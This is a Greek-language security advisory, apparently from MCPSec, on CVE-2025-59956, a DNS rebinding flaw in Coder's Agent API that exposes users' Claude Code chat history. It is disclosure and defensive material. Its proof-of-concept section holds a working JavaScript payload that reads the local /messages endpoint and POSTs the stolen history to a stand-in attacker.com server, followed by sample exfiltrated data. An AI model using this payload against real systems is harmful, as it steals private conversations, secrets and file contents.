Το Agent API της Coder αποκαλύπτει το ιστορικό συνομιλιών των χρηστών μέσω επίθεσης DNS rebinding
Συντάκτης: Evan Harris
Επηρεαζόμενο στοιχείο: Agent API της Coder
CVE: CVE-2025-59956
Βαθμολογία CVSS 3.1: 6.5 (Μεσαία) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Επισκόπηση
Το Agent API της Coder είναι ένα HTTP API ανοικτού κώδικα για τα Claude Code, Goose, Aider, Gemini, Amp και Codex.
Η MCPSec εντόπισε μια ευπάθεια DNS rebinding στο Agent API που επιτρέπει σε απομακρυσμένους επιτιθέμενους να εξάγουν το ιστορικό μηνυμάτων ενός χρήστη στο Claude Code.
Η Coder διόρθωσε αυτό το ζήτημα στην έκδοση v0.4.0. Οι χρήστες του Agent API θα πρέπει να αναβαθμιστούν σε αυτή την έκδοση ή σε νεότερη.
Αντίκτυπος
Οι επιτιθέμενοι αποκτούν πλήρη πρόσβαση GET στο endpoint /messages που παρέχεται από το Agent API.
Αυτό επιτρέπει τη μη εξουσιοδοτημένη εξαγωγή ευαίσθητων δεδομένων του χρήστη, συγκεκριμένα του τοπικού ιστορικού μηνυμάτων, το οποίο μπορεί να περιλαμβάνει μυστικά κλειδιά, περιεχόμενο του συστήματος αρχείων και πνευματική ιδιοκτησία στην οποία εργάζεται τοπικά ο χρήστης.
Το DNS rebinding μπορεί να συμβεί μέσα σε λίγα δευτερόλεπτα μόλις γίνει η σύνδεση σε έναν κακόβουλο διακομιστή ιστού.
Proof of Concept
Θεωρήστε τις ακόλουθες παραδοχές:
- Στη μηχανή του θύματος εκτελείται το Agent API.
- Το θύμα πλοηγείται σε έναν κακόβουλο ιστότοπο.
- Ο ιστότοπος εκτελεί μια επίθεση DNS rebinding ώστε να χειραγωγήσει τον περιηγητή ιστού του θύματος να αλληλεπιδράσει με το ευάλωτο Agent API εκ μέρους του επιτιθέμενου.
Μετά την ολοκλήρωση του DNS rebinding, ένας επιτιθέμενος μπορεί να καταναλώσει το τοπικά παρεχόμενο endpoint /messages. Ολόκληρο το ιστορικό συνομιλιών του θύματος με το Agent API μπορεί να εξαχθεί στον διακομιστή του επιτιθέμενου.
Η MCPSec πραγματοποίησε μια επίθεση σε μορφή proof of concept ως εξής:
-
Αναπτύξτε μια εφαρμογή DNS rebinding (π.χ. Singularity of Origin).
-
Κατασκευάστε ένα payload που παρέχεται από έναν κακόβουλο ιστότοπο για τη λήψη και εξαγωγή δεδομένων.
Αυτός ο κώδικας JavaScript, που παρέχεται από τον κακόβουλο ιστότοπο, ανακτά το ιστορικό μηνυμάτων και το αποστέλλει στον επιτιθέμενο.
const AgentAPI = () => {
function attack(headers, cookie, body) {
fetch('http://localhost:3284/messages', {
method: 'GET',
mode: "cors",
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal'
response.json().then(victimMessageHistory => {
fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(victimMessageHistory)
}).then(r => {
console.log("attacker server response", r)
}).catch(e => {
console.error('failed to post', e)
})
}).catch(e => {
console.error('failed to parse response ', e)
})
}).catch(e => {
console.error("failed to get messages", e)
})
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
let controller = new AbortController();
let signal = controller.signal;
return timeout(1000, fetch(`http://localhost:3284/docs`, {
mode: 'no-cors',
credentials: 'omit',
signal
}), controller)
.then(response => {
return true;
})
.catch(e => {
return (false);
})
}
return {
attack,
isService
}
}
Registry["AgentAPI"] = AgentAPI();
Το endpoint /messages παρέχεται στην τοπική μηχανή του θύματος και, όταν ερωτηθεί, απαντά με το ιστορικό συνομιλιών του.
- Ο επιτιθέμενος πρέπει να εκτελεί έναν διακομιστή συλλογής δεδομένων που θα λαμβάνει ένα αίτημα POST. Το περιεχόμενο του αιτήματος POST θα πρέπει να είναι η απάντηση από το endpoint /messages του Agent API του θύματος.
Στη μηχανή του θύματος, ζητήθηκε από το Agent API να εξετάσει το τοπικό σύστημα αρχείων. Να τι εστάλη στον διακομιστή συλλογής δεδομένων του επιτιθέμενου:
Ακολουθεί ένα παράδειγμα των δεδομένων JSON που εκλάπησαν από ένα θύμα που είχε ρωτήσει τον πράκτορα για το τοπικό σύστημα αρχείων του.
{
"$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
"messages": [{
"id": 0,
"content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
"role": "agent",
"time": "2025-07-25T11:20:04.988043205+02:00"
}, {
"id": 1,
"content": "Hello, agent!",
"role": "user",
"time": "2025-07-25T13:11:16.699082236+02:00"
}, {
"id": 3,
"content": "tell me about my filessytem",
"role": "user",
"time": "2025-07-25T13:14:51.120102556+02:00"
}, {
"id": 4,
"content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
"role": "agent",
"time": "2025-07-25T13:15:10.681040365+02:00"
}]
}
Συνιστώμενα μέτρα μετριασμού
Για τους χρήστες (άμεσα)
- Αναβαθμιστείτε άμεσα στην έκδοση v0.4.0 ή νεότερη του Agent API. Αυτή η έκδοση περιέχει τη διόρθωση της ευπάθειας.
Για τους προγραμματιστές (μακροπρόθεσμα)
- Υλοποιήστε ισχυρή επικύρωση της κεφαλίδας Host για όλα τα τοπικά παρεχόμενα HTTP API, ώστε να αποτρέψετε το DNS rebinding.
- Υλοποιήστε προστασία CSRF για να αποτρέψετε άλλες μορφές επιθέσεων μεταξύ διαφορετικών προελεύσεων.
- Προσθέστε προειδοποιήσεις ασφαλείας στην τεκμηρίωση για εργαλεία που εκθέτουν τοπικές δικτυακές υπηρεσίες.
Αυτή η ευπάθεια αναφέρθηκε στην ομάδα της Coder μέσω πρακτικών υπεύθυνης γνωστοποίησης. Η Coder αντέδρασε γρήγορα και διόρθωσε το ζήτημα.
Χρονολόγιο γνωστοποίησης
- 2025-07-25: Η αρχική αναφορά ευπάθειας υποβλήθηκε στην Coder.
- 2025-07-25: Η Coder επιβεβαιώνει την παραλαβή της αναφοράς.
- 2025-07-29: Η Coder αναφέρει ότι κατάφερε να αναπαραγάγει και να επικυρώσει το σενάριο επίθεσης.
- 2025-08-13: Η ευπάθεια διορθώθηκε.
- 2025-08-21: Η Coder αποφάσισε να απονείμει αμοιβή ασφαλείας (security bounty) για την αναφορά.
- 2025-09-09: Συμφωνήθηκε μια αμοιβαία αποδεκτή ημερομηνία δημοσίευσης του δελτίου.
- 2025-09-19: Το δελτίο ασφαλείας κυκλοφόρησε.
Συμπέρασμα
Η ευπάθεια DNS rebinding στο Agent API της Coder καταδεικνύει μια κρίσιμη πρόκληση ασφαλείας για το αναπτυσσόμενο οικοσύστημα των τοπικών εργαλείων ανάπτυξης που βασίζονται στην AI. Παρότι αυτά τα εργαλεία προσφέρουν ισχυρές δυνατότητες, πρέπει να κατασκευάζονται με νοοτροπία που θέτει την ασφάλεια σε προτεραιότητα, ώστε να προστατεύονται από απειλές που βασίζονται στον ιστό.
Ιδιαίτερες ευχαριστίες στην ομάδα της Coder για την άμεση και επαγγελματική της αντίδραση κατά τη διόρθωση αυτής της ευπάθειας. Όλοι οι χρήστες του Agent API θα πρέπει να αναβαθμιστούν στην πλέον πρόσφατη έκδοση για να διασφαλίσουν την προστασία τους.